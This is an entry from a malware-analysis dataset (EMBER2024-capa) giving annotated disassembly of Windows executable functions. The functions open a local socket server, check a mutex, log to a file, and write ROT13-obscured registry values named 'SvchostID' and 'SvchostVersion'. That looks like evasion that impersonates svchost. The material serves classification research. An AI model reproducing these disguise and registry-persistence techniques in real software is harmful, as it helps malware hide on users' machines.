joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405bd0
Capabilities:
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x438
mov eax, dword [0x422330]
mov edx, dword [0x421090]
cmp edx, 0x10
mov dword [esp + 0x434], eax
mov eax, dword [0x42107c]
mov ecx, eax
jae 0x405bf9
mov ecx, 0x42107c
push esi
mov esi, dword [0x42108c]
add ecx, esi
cmp edx, 0x10
push edi
jae 0x405c0d
mov eax, 0x42107c
push ebx
push ebp
push ecx
push eax
lea eax, [esp + 0x18]
push eax
mov ecx, 0x421078
call fcn.00404b10
push 0x50
or esi, 0xffffffff
mov word [esp + 0x1c], 2
call dword [sym.imp.WSOCK32.dll_htons]
mov ebp, dword [sym.imp.WSOCK32.dll_inet_addr]
mov word [esp + 0x1a], ax
mov byte [esp + 0x28], 0
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0x29]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, dword [sym.imp.WSOCK32.dll_WSAGetLastError]
mov dword [esp + 0x10], 0
mov ebx, 1
cmp dword [esp + 0x10], 1
je 0x405da8
push ebx
lea ecx, [esp + 0x2c]
push str.127.0.0._d
push ecx
call fcn.00411af5
add esp, 0xc
lea edx, [esp + 0x28]
push edx
call ebp
push 6
push 1
push 2
mov dword [esp + 0x28], eax
call dword [sym.imp.WSOCK32.dll_socket]
push 4
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 4
push 0xffff
push esi
call dword [sym.imp.WSOCK32.dll_setsockopt]
push eax
call edi
push eax
lea ecx, [esp + 0x64]
push str.Opt_set:__d___d_n
push ecx
call fcn.00411af5
lea edx, [esp + 0x6c]
push edx
call fcn.0040a180
add esp, 0x14
cmp esi, 0xffffffff
jne 0x405cf8
call edi
push eax
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x64]
push str.Socket_could_not_connect__ip:__s___d_n
push ecx
call fcn.00411af5
lea edx, [esp + 0x6c]
push edx
call fcn.0040a180
add esp, 0x14
push 0x10
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.WSOCK32.dll_bind]
test eax, eax
je 0x405d3d
call edi
push eax
lea ecx, [esp + 0x60]
push str.Closed_on_bind:__d_n
push ecx
call fcn.00411af5
lea edx, [esp + 0x68]
push edx
call fcn.0040a180
add esp, 0x10
push esi
call dword [sym.imp.WSOCK32.dll_closesocket]
push 0xc8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x405d9b
lea eax, [esp + 0x28]
mov dword [esp + 0x10], 1
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405d50
sub eax, edx
push eax
lea eax, [esp + 0x2c]
push eax
push 0
mov ecx, 0x421078
call fcn.00405590
cmp dword [0x421090], 0x10
mov eax, dword [0x42107c]
jae 0x405d7e
mov eax, 0x42107c
push eax
lea ecx, [esp + 0x60]
push str.Successfully_Opened_Server_at__s
push ecx
call fcn.00411af5
lea edx, [esp + 0x68]
push edx
call fcn.0040a180
add esp, 0x10
inc ebx
cmp ebx, 0x100
jl 0x405c63
mov eax, dword [esp + 0x10]
test eax, eax
pop ebp
pop ebx
jne 0x405dd7
push str.Could_not_create_server._Program_will_continue_working.
call fcn.0040a180
add esp, 4
pop edi
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x434]
call fcn.004118eb
add esp, 0x438
ret
push bind
push esi
call dword [sym.imp.WSOCK32.dll_listen]
test eax, eax
je 0x405e06
call edi
push eax
lea eax, [esp + 0x58]
push str.Closed_on_listen:__d_n
push eax
call fcn.00411af5
lea ecx, [esp + 0x60]
push ecx
call fcn.0040a180
add esp, 0x10
mov ecx, dword [esp + 0x43c]
pop edi
mov eax, esi
pop esi
call fcn.004118eb
add esp, 0x438
ret
Function at 0x407d10
Capabilities:
Create thread

Disassembly:
sub esp, 0x28
mov eax, dword [0x422330]
push ebx
mov ebx, dword [esp + 0x34]
push ebp
push esi
push edi
mov edi, ebx
imul edi, edi, 0x1448
mov ecx, dword [edi + 0x433d98]
cmp ecx, 0x10
lea esi, [edi + 0x433d80]
mov dword [esp + 0x34], eax
mov dword [esp + 0x10], 0
lea edx, [esi + 4]
jb 0x407d4c
mov ebp, dword [edx]
jmp 0x407d4e
mov ebp, edx
mov eax, dword [esi + 0x14]
add eax, ebp
cmp ecx, 0x10
jb 0x407d5a
mov edx, dword [edx]
push eax
push edx
lea eax, [esp + 0x48]
push eax
mov ecx, esi
call fcn.00404b10
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x4c]
push ecx
mov ecx, esi
call fcn.00404ef0
lea edx, [esp + 0x14]
push edx
push 0
push ebx
push 0x407b80
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov eax, dword [edi + 0x434184]
mov ebp, 1
cmp eax, ebp
je 0x407dd8
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [esp + 0x10]
mov ecx, eax
inc eax
cmp ecx, 0x28
mov dword [esp + 0x10], eax
jg 0x407dc5
push 0x1f4
call esi
cmp dword [edi + 0x434184], ebp
jne 0x407da4
jmp 0x407dd8
push str.Waiting_was_interrupted
call fcn.0040a180
push ebx
call fcn.00405460
add esp, 8
push str._nGOT_RESULTS___:_n
call fcn.0040a180
mov eax, dword [edi + 0x433d7c]
lea esi, [edi + 0x433d64]
add esp, 4
cmp eax, 0x10
jb 0x407dfb
mov eax, dword [esi + 4]
jmp 0x407dfe
lea eax, [esi + 4]
push eax
call fcn.0040a180
add esp, 4
push 0
mov ebp, 0xf
push 0x41b5fe
lea ecx, [esp + 0x20]
mov dword [esp + 0x38], ebp
mov dword [esp + 0x34], 0
mov byte [esp + 0x24], 0
call fcn.00402030
cmp dword [edi + 0x433d78], 0x3e8
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
push 0
jbe 0x407e44
push esi
jmp 0x407e49
lea edx, [esp + 0x4c]
push edx
call fcn.00404ef0
push ebx
call fcn.00405460
mov esi, dword [esp + 0x40]
add esp, 4
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x20]
mov dword [esi + 0x18], ebp
mov dword [esi + 0x14], 0
push eax
mov ecx, esi
mov byte [esi + 4], 0
call fcn.00401f40
mov eax, dword [esp + 0x30]
mov edi, 0x10
cmp eax, edi
jb 0x407e93
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.00412292
add esp, 4
cmp dword [esp + 0x5c], edi
mov dword [esp + 0x30], ebp
mov dword [esp + 0x2c], 0
mov byte [esp + 0x1c], 0
jb 0x407eb7
mov edx, dword [esp + 0x48]
push edx
call fcn.00412292
add esp, 4
mov ecx, dword [esp + 0x34]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
call fcn.004118eb
add esp, 0x28
ret

Function at 0x408c90
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
cmp eax, 0x1f4
jg 0x408cb7
test eax, eax
jl 0x408cb7
lea ecx, [esp + 4]
push ecx
push 0
push eax
push 0x4081d0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
ret
xor eax, eax
ret

Function at 0x408cc0
Capabilities:
Check mutex on windows

Disassembly:
sub esp, 0x44
mov eax, dword [0x422330]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x48]
push eax
lea ecx, [esp + 4]
push ecx
call fcn.00404140
add esp, 8
lea edx, [esp]
push edx
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, dword [esp + 0x40]
sub eax, 0xb7
neg eax
sbb eax, eax
inc eax
call fcn.004118eb
add esp, 0x44
ret
Function at 0x409640
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x422330]
push ebx
mov dword [esp + 0x214], eax
push esi
push edi
xor eax, eax
mov byte [esp + 0x18], 0
mov ecx, 0x3f
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov byte [esp + 0x118], 0
mov ecx, 0x3f
lea edi, [esp + 0x119]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push str.FBSGJNERZvpebfbsgJvaqbjfPheeragIrefvba
push eax
call fcn.00404140
lea ecx, [esp + 0x120]
push str..QRSNHYGFBSGJNERZvpebfbsgJvaqbjfPheeragIrefvba
push ecx
call fcn.00404140
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
add esp, 0x10
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x1c]
push eax
push reloc.WSOCK32.dll_accept
call ebx
mov esi, dword [ebp + 8]
mov eax, esi
lea edi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4096d0
mov ecx, dword [esp + 0x14]
sub eax, edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
inc eax
push eax
push esi
push 1
push 0
push str.SvchostID
push ecx
call edi
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x11c]
push eax
push reloc.WSOCK32.dll_closesocket
call ebx
mov eax, esi
lea ecx, [eax + 1]
jmp 0x409710
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x409710
sub eax, ecx
mov ecx, dword [esp + 0x10]
inc eax
push eax
push esi
push 1
push 0
push str.SvchostID
push ecx
call edi
mov edx, dword [esp + 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call esi
mov eax, dword [esp + 0x10]
push eax
call esi
mov ecx, dword [esp + 0x21c]
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409760
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x130
mov eax, dword [0x422330]
push esi
push edi
mov dword [esp + 0x134], eax
xor eax, eax
mov byte [esp + 0x30], 0
mov ecx, 0x3f
lea edi, [esp + 0x31]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x30]
push str.FBSGJNERZvpebfbsgJvaqbjfPheeragIrefvba
push eax
mov dword [esp + 0x18], 0x18
call fcn.00404140
add esp, 8
lea ecx, [esp + 0xc]
push ecx
push 1
push 0
lea edx, [esp + 0x3c]
push edx
push reloc.WSOCK32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push str.SvchostID
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x18]
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4097e6
sub ecx, esi
mov dword [esp + 0x14], ecx
je 0x4097f9
test eax, eax
je 0x409810
lea eax, [esp + 0x18]
push eax
call fcn.004095b0
lea ecx, [esp + 0x1c]
push ecx
call fcn.00409640
add esp, 8
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x18]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409821
mov edi, dword [ebp + 8]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x409830
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x134]
call fcn.004118eb
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a180
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x23a8
call fcn.00411db0
mov eax, dword [0x422330]
mov dword [esp + 0x23a4], eax
push esi
push edi
xor eax, eax
mov byte [esp + 8], 0
mov ecx, 0x404
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x1020], 0
mov ecx, 0x4e1
lea edi, [esp + 0x1021]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
stosb byte es:[edi], al
push 0x23
lea eax, [esp + 0x10]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x1024]
push str._sloggy.txt
push edx
call fcn.00411af5
add esp, 0xc
push 1
lea eax, [esp + 0x1024]
push eax
call dword [sym.imp.KERNEL32.DLL__lopen]
push 2
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.DLL__llseek]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.DLL__lwrite]
push esi
call dword [sym.imp.KERNEL32.DLL__lclose]
mov ecx, dword [esp + 0x23ac]
call fcn.004118eb
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a630
Capabilities:
Get file size

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
push 0
push 0
push 3
push 0
push 0
push connect
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
test edi, edi
pop edi
setg al
pop esi
ret
Function at 0x40aa30
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1008
call fcn.00411db0
mov eax, dword [0x422330]
mov dword [esp + 0x1004], eax
push esi
push edi
xor eax, eax
mov byte [esp + 8], 0
mov ecx, 0x3ff
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
call fcn.00402ac0
add esp, 4
push 0
push 0
push 3
push 0
push 0
push connect
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [esp + 0x100c]
xor eax, eax
test edi, edi
setg al
call fcn.004118eb
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40aec0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x218
mov eax, dword [0x422330]
mov dword [esp + 0x214], eax
xor eax, eax
push esi
push edi
mov dword [esp + 0x11], eax
mov word [esp + 0x15], ax
lea edi, [esp + 0x10]
mov byte [esp + 0x10], 0
mov byte [esp + 0x17], al
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40aef3
mov cx, word [0x41cfe4]
mov word [edi], cx
mov byte [esp + 0x18], al
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov byte [esp + 0x118], 0
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x119]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x18]
push str.FBSGJNERZvpebfbsgJvaqbjfPheeragIrefvba
push edx
stosw word es:[edi], ax
call fcn.00404140
lea eax, [esp + 0x120]
push str..QRSNHYGFBSGJNERZvpebfbsgJvaqbjfPheeragIrefvba
push eax
call fcn.00404140
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
add esp, 0x10
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x1c]
push edx
push reloc.WSOCK32.dll_accept
call edi
lea eax, [esp + 0x10]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40af74
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub eax, ecx
mov ecx, dword [esp + 8]
push eax
lea eax, [esp + 0x14]
push eax
push 1
push 0
push str.SvchostVersion
push ecx
call esi
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x11c]
push eax
push reloc.WSOCK32.dll_closesocket
call edi
lea eax, [esp + 0x10]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40afb4
mov edx, dword [esp + 0xc]
sub eax, ecx
push eax
lea ecx, [esp + 0x14]
push ecx
push 1
push 0
push str.SvchostVersion
push edx
call esi
mov eax, dword [esp + 8]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
mov ecx, dword [esp + 0xc]
push ecx
call esi
mov ecx, dword [esp + 0x21c]
call fcn.004118eb
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40b000
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x22c
mov eax, dword [0x422330]
mov dword [esp + 0x228], eax
xor eax, eax
mov dword [esp + 0x15], eax
mov word [esp + 0x19], ax
xor ecx, ecx
mov dword [esp + 0x1d], ecx
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], al
mov word [esp + 0x21], cx
push ebx
mov byte [esp + 0x28], cl
push esi
push edi
mov byte [esp + 0x2f], cl
mov eax, 8
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], eax
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x31]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov byte [esp + 0x130], 0
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x131]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x30]
push str.FBSGJNERZvpebfbsgJvaqbjfPheeragIrefvba
push edx
mov byte [esp + 0x28], 0
stosw word es:[edi], ax
call fcn.00404140
lea eax, [esp + 0x138]
push str..QRSNHYGFBSGJNERZvpebfbsgJvaqbjfPheeragIrefvba
push eax
call fcn.00404140
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0x10
lea ecx, [esp + 0x10]
push ecx
push 1
push 0
lea edx, [esp + 0x3c]
push edx
push reloc.WSOCK32.dll_accept
call esi
mov edx, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push str.SvchostVersion
push edx
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x10]
push eax
call ebx
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
lea edx, [esp + 0x13c]
push edx
push reloc.WSOCK32.dll_closesocket
call esi
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push str.SvchostVersion
push edx
call edi
mov esi, eax
mov eax, dword [esp + 0x18]
push eax
call ebx
lea eax, [esp + 0x20]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b130
sub eax, edx
mov dword [esp + 0x14], eax
je 0x40b147
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40b163
lea eax, [esp + 0x28]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b150
sub eax, edx
mov dword [esp + 0xc], eax
je 0x40b178
test esi, esi
jne 0x40b178
mov al, 1
mov ecx, dword [esp + 0x234]
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x234]
xor al, al
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b190
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x234
mov eax, dword [0x422330]
mov dword [esp + 0x230], eax
xor eax, eax
mov dword [esp + 0x1d], eax
xor ecx, ecx
mov word [esp + 0x21], ax
mov dword [esp + 0x25], ecx
push ebx
mov byte [esp + 0x27], al
mov word [esp + 0x2d], cx
push esi
push edi
mov byte [esp + 0x37], cl
mov eax, 8
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
xor ebx, ebx
xor eax, eax
mov byte [esp + 0x38], bl
mov ecx, 0x3f
lea edi, [esp + 0x39]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov byte [esp + 0x138], bl
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x139]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x38]
push str.FBSGJNERZvpebfbsgJvaqbjfPheeragIrefvba
push edx
mov byte [esp + 0x30], bl
mov byte [esp + 0x38], bl
stosw word es:[edi], ax
call fcn.00404140
lea eax, [esp + 0x140]
push str..QRSNHYGFBSGJNERZvpebfbsgJvaqbjfPheeragIrefvba
push eax
call fcn.00404140
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0x10
lea ecx, [esp + 0x10]
push ecx
push 1
push ebx
lea edx, [esp + 0x44]
push edx
push reloc.WSOCK32.dll_accept
call esi
mov edx, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x2c]
push ecx
push ebx
push ebx
push str.SvchostVersion
push edx
call edi
mov dword [esp + 0x18], eax
lea eax, [esp + 0x14]
push eax
push 1
push ebx
lea ecx, [esp + 0x144]
push ecx
push reloc.WSOCK32.dll_closesocket
call esi
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x34]
push eax
push ebx
push ebx
push str.SvchostVersion
push ecx
call edi
lea ecx, [esp + 0x28]
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x40b2a2
sub ecx, esi
mov dword [esp + 0x24], ecx
je 0x40b2c7
cmp dword [esp + 0x18], ebx
jne 0x40b2c7
mov eax, dword [ebp + 8]
lea edx, [esp + 0x28]
push edx
push 0x41b38c
push eax
jmp 0x40b2f1
lea ecx, [esp + 0x30]
lea esi, [ecx + 1]
mov edi, edi
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x40b2d0
sub ecx, esi
mov dword [esp + 0x24], ecx
je 0x40b2f9
cmp eax, ebx
jne 0x40b2f9
mov edx, dword [ebp + 8]
lea ecx, [esp + 0x30]
push ecx
push 0x41b38c
push edx
call fcn.00411af5
add esp, 0xc
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
mov ecx, dword [esp + 0x14]
push ecx
call esi
mov ecx, dword [esp + 0x23c]
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d7c0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x40d7cb
xor eax, eax
ret
push ebp
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x18]
cmp edi, 8
not esi
jb 0x40d8c3
mov ebp, edi
shr ebp, 3
xor edx, edx
mov dl, byte [ecx]
mov eax, esi
shr eax, 8
sub edi, 8
xor edx, esi
and edx, 0xff
mov esi, dword [edx*4 + 0x41d140]
xor edx, edx
mov dl, byte [ecx + 1]
xor eax, esi
inc ecx
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x41d140]
xor edx, edx
mov dl, byte [ecx + 1]
shr eax, 8
xor eax, esi
inc ecx
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x41d140]
xor edx, edx
mov dl, byte [ecx + 1]
shr eax, 8
xor eax, esi
inc ecx
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x41d140]
xor edx, edx
mov dl, byte [ecx + 1]
shr eax, 8
xor eax, esi
inc ecx
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x41d140]
shr eax, 8
xor eax, esi
xor edx, edx
mov dl, byte [ecx + 1]
inc ecx
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x41d140]
shr eax, 8
xor eax, esi
xor edx, edx
mov dl, byte [ecx + 1]
inc ecx
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x41d140]
shr eax, 8
xor eax, esi
xor edx, edx
mov dl, byte [ecx + 1]
inc ecx
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x41d140]
shr eax, 8
xor eax, esi
inc ecx
dec ebp
mov esi, eax
jne 0x40d7e6
test edi, edi
je 0x40d8e2
xor eax, eax
mov al, byte [ecx]
xor eax, esi
and eax, 0xff
mov ebp, dword [eax*4 + 0x41d140]
shr esi, 8
xor esi, ebp
inc ecx
dec edi
jne 0x40d8c7
pop edi
mov eax, esi
pop esi
not eax
pop ebp
ret
Function at 0x412889
Capabilities:
Terminate process

Disassembly:
push 8
push 0x41e510
call fcn.00414240
push 8
call fcn.0041580a
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x6bcc44], esi
jne 0x4128bd
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov dword [0x6bcc40], esi
mov al, byte [ebp + 0x10]
mov byte [0x6bcc3c], al
cmp dword [ebp + 0xc], edi
jne 0x412907
cmp dword [0x6be470], edi
je 0x4128f7
mov eax, dword [0x6be46c]
sub eax, 4
mov dword [0x6be46c], eax
cmp eax, dword [0x6be470]
jb 0x4128f7
mov eax, dword [eax]
cmp eax, edi
je 0x4128d8
call eax
jmp 0x4128d8
push 0x421038
mov eax, 0x421030
call fcn.00412807
pop ecx
push 0x421044
mov eax, 0x42103c
call fcn.00412807
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x412938
cmp dword [ebp + 0x10], edi
jne 0x412946
mov dword [0x6bcc44], esi
push dword [ebp + 8]
call fcn.004127c5
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x412945
push 8
call fcn.00415755
pop ecx
ret
call fcn.0041427b
ret
Function at 0x412d64
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x60
push 0x41e558
call fcn.00414240
mov edi, 0x94
mov eax, edi
call fcn.00411db0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x6bcc04], ecx
mov eax, dword [esi + 4]
mov dword [0x6bcc10], eax
mov edx, dword [esi + 8]
mov dword [0x6bcc14], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x6bcc08], esi
cmp ecx, 2
je 0x412dc4
or esi, 0x8000
mov dword [0x6bcc08], esi
shl eax, 8
add eax, edx
mov dword [0x6bcc0c], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x412dff
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x412dff
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x412e17
cmp eax, 0x20b
je 0x412e04
mov dword [ebp - 0x1c], esi
jmp 0x412e2b
cmp dword [ecx + 0x84], 0xe
jbe 0x412dff
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x412e25
cmp dword [ecx + 0x74], 0xe
jbe 0x412dff
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.00415666
pop ecx
test eax, eax
jne 0x412e3f
push 0x1c
call fcn.00412d40
pop ecx
call fcn.00416e5c
test eax, eax
jne 0x412e50
push 0x10
call fcn.00412d40
pop ecx
call fcn.004170d8
mov dword [ebp - 4], esi
call fcn.00417d90
test eax, eax
jge 0x412e69
push 0x1b
call fcn.00412d1b
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x6be464], eax
call fcn.00417c6e
mov dword [0x6bcc48], eax
call fcn.00417bcc
test eax, eax
jge 0x412e8f
push 8
call fcn.00412d1b
pop ecx
call fcn.00417999
test eax, eax
jge 0x412ea0
push 9
call fcn.00412d1b
pop ecx
push 1
call fcn.0041281f
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x412eb6
push eax
call fcn.00412d1b
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
call fcn.0041793c
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x412ed7
movzx eax, word [ebp - 0x40]
jmp 0x412eda
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.004091a0
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x412ef8
push edi
call fcn.0041294c
call fcn.0041296e
jmp 0x412f2a
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.0041427b
ret